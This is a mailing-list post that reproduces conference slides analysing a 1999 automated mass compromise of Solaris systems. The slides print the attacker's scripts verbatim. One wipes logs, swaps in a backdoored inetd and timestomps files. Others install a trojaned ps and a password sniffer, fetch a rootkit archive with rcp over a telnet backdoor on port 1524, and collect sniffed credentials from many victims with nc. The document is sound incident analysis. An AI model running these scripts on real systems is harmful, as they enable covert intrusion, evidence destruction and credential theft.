Re: /tmp/bob on compromised system

[Lynch Sean <Lynch.Sean () PBGC GOV>]

Below is the text from a slide presentation I received at a conference in
Atlanta this past year...it outlines the attack using "bob".  The initiator
of this thread may have a larger problem than he realizes.  I don't have
time to format the text...hope you can sort through it to find the relevant
data.

Sean M. Lynch
Senior Network Engineer/Network Security Specialist
CEXEC, Inc.

What We Know
"       On June 30, 1999, a large number of systems were attacked
"       Targets seemed to be Solaris 2.6 systems
"       Many of the attacks were successful
"       The attack was likely very automated
What We Think We Know
"       We have good evidence that the attacker used the rpc.tooltalk buffer
overflow to compromise the systems
"       We think that the attack covered a large number of sites and may
have included over 6,000 systems
"       We think we have the scripts from both the victim systems and the
attacker systems
Purpose of this Talk
"       The purpose is not to analyze the initial attack
"       The purpose is not to discuss how the attack could have been
prevented
"       The purpose is to analyze what the intruder was going to do with the
compromised systems
Victim System
Types of Victims
"       There were three types of victims
       Systems that were completely compromised
       Systems that were not compromised
       Systems that were compromised but where the intruder had left
evidence
Systems That Were Completely Compromised
"       Initial evidence of the attack came from these systems
"       Evidence included mail and nfs systems that no longer worked and
missing messages files
Systems That Were not Compromised
"       Evidence was found on these systems that indicated that rpc.tooltalk
had been attacked but the attack did not appear to be successful
"       This evidence is the basis for the assumption that the rpc.tooltalk
buffer overflow was used for the initial penetration
Systems That Were Compromised but not Cleaned
"       Some systems had remnants of the attack files left in /tmp
"       These included the neet.tar file itself as well as its components
       Bd
       Doc
       Ps
       Update
       milk
Bd - Slide 1
unset HISTFILE; unset SAVEHIST
cp doc /usr/sbin/inetd;
chown root /usr/sbin/inetd;
chgrp root /usr/sbin/inetd;
touch 0716000097 /usr/sbin/inetd;
rm -rf doc /tmp/bob /var/adm/messages /usr/lib/nfs/statd
/usr/openwin/bin/rpc.ttdb* /usr/dt/bin/rpc.ttdb*
Bd - Slide 2
rm -rf /var/log/messages /var/adm/sec* /var/adm/mail* /var/log/mail*
/var/adm/sec*
/usr/sbin/inetd -s;
/usr/sbin/inetd -s;
telnet localhost;
/usr/sbin/inetd -s;
ps -ef | grep inetd | grep bob | awk '{print "kill -9 " $2 }' > boo
chmod 700 boo
./boo
Bd - Slide 3
ps -ef | grep nfs | grep statd | awk '{print "kill -9 " $2 }' > boo
chmod 700 boo
./boo
ps -ef | grep ttdb | grep -v grep  | awk '{print "kill -9 " $2 }' > boo
chmod 700 boo
./boo
rm -rf boo
Bd - Slide 4
mkdir /usr/man/tmp
mv update ps /usr/man/tmp
cd /usr/man/tmp
echo 1 \"./update -s -o output\" > /kernel/pssys
chmod 755 ps update
./update -s -o output &
cp ps /usr/ucb/ps
mv ps /usr/bin/ps
touch 0716000097 /usr/bin/ps /usr/ucb/ps
BD - Slide 5
cd /
ps -ef | grep bob | grep -v grep
ps -ef | grep stat | grep -v grep
ps -ef | grep update
Interesting Things About Bd
"       The attacker looked for and removed inetd in conjunction with bob
"       The attacker removed the executables that allowed the initial
compromise
"       The attacker started three inetd processes
Doc
"       Doc is the inetd replacement
"       Running strings on the file shows that it has a backdoor for getting
a shell embedded inside
"       The mystery was how this backdoor was triggered
Ps
"       Very much a mystery
"       It may have been intended to hide the attacker's files from view
"       It did not work if this was the intent as you could see all three
inetd's running
Update
"       Standard sniffer
"       Configured to capture Ids and passwords going over telnet, ftp, pop,
and imap
Milk
"       Another mystery
"       It appears to be some type of denial of service attack
"       When used it sends packets to a target system that ISS RealSecure
identifies as a Kerberos User Snarf
Attacker System
A Word About the Attack Scripts
"       We think that they came from a system that was used in the attack
"       Testing shows that they work against systems that were compromised
with neet.tar
"       For this analysis, we will assume that they are the attacker's files
Reconnaissance
"       Z0ne
"       Queso
"       Pscan
"       Scan
"       Rpc.cheq
"       These tools can identify a large number of hosts, identify their OS,
identify open ports and look for vulnerable rpc processes
Initial Exploit
"       The initial exploit is the one file we do not have
"       Exploit code for rpc.mountd was found but not for rpc.tooltalk
Intial Exploit Guesswork
"       We can surmise that the attack script exploited the buffer overflow,
caused an inetd configuration file to be written to /tmp/bob, killed the
existing inetd and restarted it using the new configuration file as a
command line argument
"       This new configuration file is believed to start a listener on port
1524 (ingresslock) that allows the intruder to gain a root shell.
Loading the Victim
"       Three scripts were found to load the victim
       Massbd.sh
       Bd.sh
       Bdpipe.sh
Loading the Victim - massbd
#!/bin/sh
for i in `cat $1`; do (./bd.sh $i &);done
Loading the Victim - bd
#!/bin/sh
./bdpipe.sh | telnet $1 1524
Loading the Victim - bdpipe
#!/bin/sh
echo "cd /tmp;"
echo "rcp demos () xxx yyy zzz aaa:neet.tar ./;"
sleep 2
echo "tar -xvf neet.tar;"
sleep 1
echo "./bd;"
sleep 10
echo "rm -rf neet.tar bd update*;"
sleep 10
echo "exit;"
Retrieving Information
"       Three additional scripts were found to retrieve information from the
victims
       Mget.sh
       Sniff.sh
       Getsniff.sh
Retrieving Information - mget
for i in `cat $1` ; do (./sniff.sh $i &) ; done
Retrieving Information - sniff
#!/bin/sh
./getsniff.sh | ./nc -p 53982 $1 23 >> $1.log
Retrieving Information - getsniff
#!/bin/sh
sleep 2
echo "oir##t"
sleep 1
echo "cd /usr"
sleep 1
echo "cd man"
echo "cd tmp"
sleep 2
echo "cat output*"
sleep 1
echo "exit"
Conclusion
Conclusion
"       The analysis of this attack does not show any new attack method
"       This attack does not point out a new vulnerability in systems
"       Instead, this attack shows a new concept to system and security
administrators
       Attacks against single systems have been occurring for many years
       Administrators have learned to deal with such single system
compromises
 Conclusion
"       Most administrators have not dealt with this type of attack, where a
large number of systems are compromised in a short period of time
"       A small administration staff may be overwhelmed by such an event.
Indeed, organizations may be overwhelmed by having many if not all of their
systems compromised at once